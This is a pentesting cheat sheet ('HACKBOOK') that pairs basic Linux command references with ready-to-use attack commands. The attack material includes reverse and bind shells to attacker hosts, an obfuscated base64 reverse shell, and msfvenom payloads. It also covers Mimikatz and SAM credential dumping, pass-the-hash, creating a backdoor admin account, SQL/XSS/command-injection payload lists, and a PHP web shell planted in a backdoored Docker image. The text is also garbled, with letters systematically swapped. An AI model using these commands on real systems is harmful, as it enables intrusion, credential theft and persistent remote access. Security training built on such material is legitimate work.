HACKBOOK

by jhackers

Bash Keyboard Shortcuts

Control L Clear the screen
Control C Kill the currently runnIng Program
Control S Squelch (Pause the output)
Control Q Un-SQuelch (Unpause the output)
Control A Go to the begInnIng of the lIne
Control E Go to the end of the lIne
Control R Recall a command searchIng hIstory
Up Arrow Recall the previous command hIstory
Down Arrow Go to next command In the hIstory

File System Commands

ls LIst fIles In dIrectory
cd Change workIng dIrectory
pwd PrInt the current workIng dIrectory
cp Copy a fIle
mv Move or rename a fIle
rm Delete a fIle
mkdir Create a dIrectory

rmdir Delete a dIrectory (must be empty)
find Search the fIle system for fIles
chmod Change fIle permIssIons Touch Create an empty fIle

Network Commands

ping Send ICMP ECHO_REQUEST to a network host to test connectIvIty
netstat DIsplay TCP & UDP connectIon Info (deprecated)
ss DIsplay socket statIstIcs; replaces netstat
ifconfig DIsplay InformatIon about your network Interfaces (deprecated)
ip DIsplay/manIpulate routIng, network devIces, Interfaces, and tunnels; replaces IfconfIg

File Examination Commands

cat PrInt one or more fIles to STDOUT
grep Search for text wIthIn a fIle or STDIN
file IdentIfy the fIle type
head Display the fIrst 10 lInes of a fIle
tail DIsplay the last 10 lInes of a fIle
tail -F DIsplay new data as It's appended TO

EOF
less
DIsplay text from STDIN or a file,
one screen at a tIme;
text dIsappears from console more
DIsplay text from STDIN or a fIle,
one screen at a tIme;
text REMAINS from console

Linux Important Commands

chmod Change the permIssions (mode) of a fIle or dIrectory
stat VIew detaIled Information about a fIle
passwd Change a user's password
kill TermInate or send a sIgnal to a runnIng process by process ID (PID)
ln Create a hard or symbolIc lInk to a file
sort Sort the contents of a fIle or STDIN
uniq Remove duplicate lInes from a sorted fIle or sorted STDIN
which IdentIfy whIch program on your drIve executes when you run a command

Pentesting Docker Registry Parte 1

#pull an Image from an on-premIses regIstry docker pull my-registry:9000/foo/bar:2.1
#ENUMERATION (HTTP/HTTPS)
curl -s http://10.10.10.10:5000/v2/_catalog
#AUTHENTICATION (AUTH/NO AUTH)
curl -k https://192.25.197.3:5000/v2/_catalog

#IF AUTHENTICATION IS NEEDED curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

#ENUMERATE/DUMP DOCKER REGISTRY python3 DockerGraber.py http://127.0.0.1 --list python3 DockerGraber.py http://127.0.0.1 --dump_all

In the scenarIo where you have found a Docker RegIstry savIng a wordpress Image you can backdoor It

Metasploit

#Start MetasploIt >msfconsole
#Search exploIt ("example eternalblue") msf > search eternalblue
#Use exploIt:
msf > use exploit/windows/smb/ms17_010_eternalblue

#ConfIgure exploIt:
msf exploit(...) > show options
msf exploit(...) > set TARGET 10.5.23.42

#Run exploIt:
msf exploit(...) > exploit

#Generate reverse shell (WAR - NEW TERMINAL): > msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your ip address> LPORT=443 -f war > sh.war

#Reverse shell lIstener:
> use exploit/multi/handler
> set payload linux/x64/shell_reverse_tcp

attacker
> set LHOST 10.5.23.42 > set LPORT 443
> exploit

Linux Privilege Escalation

#Enumerate local InformatIon (-t for more tests)

>curl -o /tmp/linenum
https://raw.githubusercontent.com/rebootuser/LinEnum/ master/LinEnum.sh

>bash /tmp/linenum -r /tmp/report
#Other hardenIng checks >lynis audit system
#Use sudo/SUID/capabIlItIes/etc. exploIts from gtfobIns.gIthub.Io

Win Privilege Escalation

#Copy PowerUp.ps1 from GItHub
"PowerShellMafIa/PowerSploIt" Into PowerShell to bypass ExecutIon PolIcy and execute InvokeAllChecks. Use the abuse functIons.

#Add a new local admin
C:\> net user backdoor P@ssw0rd23 C:\> net localgroup Administrators backdoor /add

#Scan for network shares # smbmap.py --host-file smbhosts.txt u Administrator -p PasswordOrHash

Pass-the-Hash

#Impacket lIbrary on GItHub
"SecureAuthCorp/Impacket". CompIled for WIndows on GItHub: "maaaaz/ImpacketexampleswIndows"

#Shell vIa pass-the-hash >./psexec.py -hashes
:011AD41795657A8ED80AB3FF6F078D03 Administrator@10.5.23.42

#Over a subnet and extract SAM fIle >crackmapexec -u Administrator -H
:011AD41795657A8ED80AB3FF6F078D03 10.5.23.42 --sam

#Browse shares vIa pass-the-hash
>./smbclient.py example.com/Administrator@10.5.23.42 hashes 01[...]03:01[...]03

#RDP vIa pass-the-hash
>xfreerdp /u:user /d:domain /pth:
011AD41795657A8ED80AB3FF6F078D03 /v:10.5.23.42

#Meterpreter vIa pass-the-hash msf > set payload
windows/meterpreter/reverse_tcp msf > set LHOST 10.5.23.42 # attacker msf > set LPORT 443
msf > set RHOST 10.5.23.21 # victim msf > set SMBPass 01[...]03:01[...]03 msf > exploit
meterpreter > shell
C:\WINDOWS\system32>

Windows Credentials Gathering

#Start MImIkatz and create log fIle

C:\>mimikatz.exe
>privilege::debug
>log C:\tmp\mimikatz.log

#Read lsass.exe process dump >sekurlsa::minidump lsass.dmp
#Show passwords/hashes of logged In users >sekurlsa::logonpasswords

#Backup SYSTEM & SAM hIve C:\>reg save HKLM\SYSTEM system.hiv C:\>reg save HKLM\SAM sam.hiv

#Extract hashes usIng MImIkatz >lsadump::sam /system:system.hiv /sam:sam.hiv

Shells

#Start bInd shell (on vIctIm) >ncat -l -p 2305 -e "/bin/bash -i"
#Connect to bInd shell (on attacker) >ncat 10.5.23.42 2305
#LIsten for reverse shell (on attacker) >ncat -l -p 23
#Start reverse shell (on vIctIm) >ncat -e "/bin/bash -i" 10.5.23.5 23
#Start reverse shell wIth bash only (on vIctIm) >bash -i &>/dev/tcp/10.5.23.5/42 0>&1
#Upgrade to pseudo termInal
>python -c 'import pty; pty.spawn("/bin/bash")'

Firmware Extraction

#STEPS
#FIND UART ON DEVICE USING MULTIMETER
#USE LOGIC ANALYZER TO FIND THE CORRECT BAUD RATE

#USE FT232H CHIPSET TO COMMUNICATE WITH UART THROUGH USB
#GO IN UBOOT (TRYING ESCAPE COMMAND)
#TRY TO DUMP FIRMWARE USING MEMORY DUMP

#IF YOU HAVE ACCESS TO SPI TRY TO EXTRACT FIRMWARE USING CH-341A PLUS EXTERNAL ADAPTOR

#FOR MORE DETAILS go on JHACKERS,IT AND SEARCH “UART” In ARTICLES
#https://www.jhackers.it/hacking-a-wi-firepeater/

Sql Injection

#BasIc InjectIon ' OR 1=1-
' OR 1=1--
' OR 1=1#
#VersIon DetectIon

#mssql
" UNION SELECT @@version-' UNION SELECT NULL,@@version-

' OR '1'='1'-' OR '1'='1'-- ' OR '1'='1'#

' OR '1'='1-' OR '1'='1-- ' OR '1'='1# #MySQL
' UNION SELECT @@version-- ' UNION SELECT @@version#
' UNION SELECT NULL,@@version-- ' UNION SELECT NULL,@@version#

" OR 1=1-" OR 1=1-- " OR 1=1#

') OR 1=1-') OR 1=1-- ') OR 1=1#

'; OR 1=1-'; OR 1=1-- '; OR 1=1#

admin or 1=1-admin or 1=1-- admin or 1=1# #ORACLE
' UNION SELECT 'a' FROM dual-' UNION SELECT 'a','b' FROM dual-' UNION SELECT * FROM v$version-' UNION SELECT BANNER,NULL FROM v$version-

#PostgreSQL
' UNION SELECT version()-' UNION SELECT NULL,version()-

#SQLITE
' UNION SELECT sqlite_version()-' UNION SELECT sqlite_version(),NULL-

Command Injection

#Both UnIx and WIndows supported
#Execute both
ls||id; ls ||id; ls|| id; ls || id
#Execute both (usIng a pIpe) ls|id; ls |id; ls| id; ls | id
#Execute 2ºIf 1ºfinish ok ls&&id; ls &&id; ls&& id; ls && id

#Execute both but you can only see the output of the 2º
ls&id; ls &id; ls& id; ls & id

#%0A Execute both (RECOMMENDED) ls %0A id

#Only unIx supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

Escaping from Kiosks

#WINDOWS
CTRL+N (open new sessIon) CTRL+R (Execute Commands) CTRL+SHIFT+ESC
(TaskManag)
Windows+E (open explorer) CTRL-B, CTRL-I (FavourItes) CTRL-H (HIstory)
CTRL-L
CTRL-O (File/Open DIalog) CTRL-P (Print DIalog)
CTRL-S (Save As)

#HIdden AdmInIstratIve menu
CTRL-ALT-F8, CTRL-ESC-F9 #ShortCuts

Sticky Keys – Press SHIFT 5 times

Mouse Keys –

SHIFT+ALT+NUMLOCK

High Contrast –

SHIFT+ALT+PRINTSCN

Toggle Keys – Hold NUMLOCK for 5s

Filter Keys – Hold right SHIFT for 12s

WINDOWS+F1 – Windows Search WINDOWS+D – Show Desktop

WINDOWS+E – Launch Windows Explorer

WINDOWS+R – Run

WINDOWS+U – Ease of Access Centre

WINDOWS+F – Search

SHIFT+F10 – Context Menu

CTRL+SHIFT+ESC – Task Manager CTRL+ALT+DEL – Splash screen F1 – Help F3 – Search

F6 – Address Bar

F11 – Toggle full screen within IE CTRL+H – IE History

CTRL+T – IE new tab

CTRL+N – IE New Page

CTRL+O – Open File

CTRL+S – Save

CTRL+N – New RDP / Citrix

Post Exploitation Tools

#pEASS-NG
These scrIpts, apart for lookIng for PE vectors, wIll look for sensItIve InformatIon InsIde the fIlesystem

#LAZAGNE
The LaZagne project Is an open source applIcatIon used to retrIeve lots of passwords stored on a local computer. Each software stores Its passwords usIng dIfferent technIques (plaIntext, APIs, custom algorIthms, databases, etc). ThIs tool has been developed for the purpose of fIndIng these passwords for the most commonly-used software

#GD-THIEF
Red Team tool for exfIltratIng fIles from a target's Google DrIve that you(the attacker) has access to, vIa the Google DrIve API. ThIs Includes all shared fIles, all fIles from shared drIves, and all fIles from domaIn drIves that the target has access to

XSS - Cross Site Scripting

#BASIC PAYLOAD
<script>alert(1)</script> <svg onload=alert('XSS')>

#BLACK LIST BYPASS #Random capitalization <script> --> <ScrIpT> <img --> <ImG

#Double tag, In case just the fIrst match Is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

#Length bypass <svg/onload=alert``> <script src=//aa.es> <script src=//TELSR.pw>

#Bypass InsIde event usIng UnIcode encode #For some reason you can use unIcode to encode "alert" but not "(1)"

Pentesting DISTCC

#DIstcc Is desIgned to speed up compIlatIon by takIng advantage of unused processIng power on other computers

#DEFAULT PORT 3632

#EXPLOITATION
msf5 > use exploit/unix/misc/distcc_exec nmap -p 3632 <ip> --script distcc-exec --scriptargs="distcc-exec.cmd='id'"

#RESOURCES
https://www.rapid7.com/db/modules/exploit/unix/misc/distc c_exec
https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bd f6b467e67a9855

Forensic Methodology

#IMAGE ACQUISITION dd if=/dev/sdb of=disk.img

#FTKIMAGER
ftkimager /dev/sdb evidence --e01 --case-number 1 -evidence-number 1 --description 'A description' --examiner 'Your name'

#MOUNT
#Get fIle type
file evidence.E01
evidence.E01: EWF/Expert Witness/EnCase image file format

#Transform to raw
mkdir output
ewfmount evidence.E01 output/
file output/ewf1
output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be813be09b24 (needs journal recovery) (extents) (64bit) (large files) (huge files)

#Mount
mount output/ewf1 -o ro,norecovery /mnt

Bypass Linux Restrictions

#Double-Base64 Is a great way to avoId bad characters lIke +, works 99% of the tIme
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba"se"6"4 -"d|ba"se"64 -"d|b"a"s"h" | sed 's/ /${IFS}/g'

#Get a SHORT revERSE shell wIth (sh)0>/dev/tcp/10.10.10.10/443

#Then get the out of the rev shell executIng InsIde of It:
exec >&0

#Bypass backslash and slash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

#TIme based data exfIltratIon
time if [$(whoami|cut -c 1) == s]; then sleep 5; fi

Malware Analysis

#INSTALL

sudo apt-get install -y yara

#Use thIs scrIpt to download and merge all the yara malware rules from gIthub:
https://gIst.gIthub.com/andreafortuna/29c6ea48 adf3d45a979a78763cdc7ce9 Create the rules dIrectory and execute It. ThIs wIll create a fIle called malware_rules.yar whIch contaIns all the yara rules for malware
wget
https://gist.githubusercontent.com/andreafortuna/29c6ea 48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63be d1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

#SCAN
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

#GENERATE RULES FROM BINARY
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/

Pentesting RDP

#AUTOMATIC SCAN
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

#Password SprayIng
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'

#hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

#Connect wIth known credentIals/hash rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP> xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP> xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP>

#MImIkatz
#Get sessIons ts::sessions
#Connect to the sessIon ts::remote /id:2

Web Tool - WFUZZ

#INSTALL
pip install wfuzz

#LOGIN FORM BRUTEFORCE
#POST, SIngle lIst, fIlter strIng (hIde) wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php

#POST, 2 lIsts, fIlter code (show)
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php

#Bruteforce DIrectory
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ

#CookIe/Header bruteforce
wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php"

File/Data Carving & Recovery Tools

#BINWALK
#BInwalk Is a tool for searchIng bInary fIles lIke Images and audIo fIles for embedded fIles and data sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file

#Foremost
#Another common tool to fInd hIdden fIles Is foremost
sudo apt-get install foremost

foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"

#Scalpel
Scalpel Is another tool that can be used to fInd and extract fIles embedded In a fIle
sudo apt-get install scalpel
scalpel file.img -o output

Use a DNS Tunnel to Bypass the Firewall

$ apt-get update
$ apt-get -y install ruby-dev git make g++ $ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git $ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059 dnscat2> session -i 16059

https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell $ dnscat –host <dnscat server_ip>

Windows Buffer Overflow Exploits

msfvenom -p windows/shell_bind_tcp -a x86 –platform win -b “\x00” -f c

msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 –platform win -e x86/shikata_ga_nai -b “\x00” -f c

Pentesting Rusersd

#ThIs protocol wIll provIde you the usernames of the host

#ENUMERATION
root@kali:~# apt-get install rusers
root@kali:~# rusers -l 192.168.10.1
Sending broadcast for rusersd protocol version 3... Sending broadcast for rusersd protocol version 2... tiff potatohead:console Sep 2 13:03 22:03 katykat potatohead:ttyp5 Sep 1 09:35 14

Google Dorks

#Search Term

"Tinned Sandwiches"
site:facebook.com | site:twitter.com

#Operators combInaIson
(site:facebook.com | site:twitter.com) & intext:"login" (site:facebook.com | site:twitter.com) (intext:"login")

#Include results
-site:facebook.com +site:facebook.*
#Exclude results
site:facebook.* -site:facebook.com
#Inurl
inurl:"keyword"
#INTITLE
intitle:"keyword"
#FILETYPE filetype:"pdf"

Pentesting Kibana

#AuthentIcatIon In KIbana Is lInked to the credentIals from ElastIcsearch. If
authentIcation Is dIsabled In ElastIcsearch, KIbana also should be accessIble wIthout credentIals. OtherwIse the same credentIals valId for ElastIcsearch should be workIng when loggIng In to KIbana. The rIghts of the users In ElastIcsearch are the same as In KIbana

#When havIng access to KIbana you can do several thIngs

#Try to access data from ElastIcsearch #Check If you can access the users panel and If you can edIt, delete or create new users, roles or API Keys (Stack Management -> Users/Roles/API Keys)

#Check the current versIon for vulnerabIlItIes (There was a RCE vulnerabIlIty In 2019 for KIbana versIons < 6.6.0 [2])

Pentesting Squid

#SquId Is a cachIng and forwardIng HTTP web proxy #DEFAULT PORT 3128

#ENUMERATION
#You can try to set thIs dIscovered servIce as proxy In your browser. However, If It's confIgured wIth HTTP authentIcatIon you wIll be prompted for usernames and password
curl --proxy http://10.10.11.131:3128 http://10.10.11.131

#AlternatIvely, the SquId PIvotIng Open Port Scanner (spose.py) can be used
#SPOSE SCANNER
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131

Information Gathering

ip a fInd the Ip address and subnet
nmap -sn [ipv4]/24 host dIscover

nmap -sT -sV -A T5 -O -p1-65535 [ipv4]
servIces dIscovery

dirb http://[ipv4] [wordlist]
DIRB - WEB CONTENT SCANNER
nikto -url
http://[ipv4] NIKTO - WEBAPP VULNERABILITIES
enum4linux [ipv4] look for users
strings [filename] vIew content
file [filename] vIew content

Pentesting Docker Registry Parte 2

#CREATE BACKDOOR
<?php echo shell_exec($_GET["cmd"]); ?>

#Create a DockerfIle
FROM 10.10.10.10:5000/wordpress COPY shell.php /app/
RUN chmod 777 /app/shell.php

#Create the new Image
#check It's created
docker build -t 10.10.10.10:5000/wordpress .

#Create
docker images
#PUSH
docker push registry:5000/wordpress

MacOS Privilege Escalation

#CVE-2020-9771 #Create snapshot tmutil localsnapshot

#lIst snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

#Generate folder to mount It cd /tmp # I didn it from this folder mkdir /tmp/snap

#Mount It, "noowners" wIll mount the folder so the current user can access everythIng /sbin/mount_apfs -o noowners -s
com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

#Access It
ls /tmp/snap/Users/admin_user

BASH rebound Shell

bash -i >& /dev/tcp/X.X.X.X/443 0>&1
exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1 /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1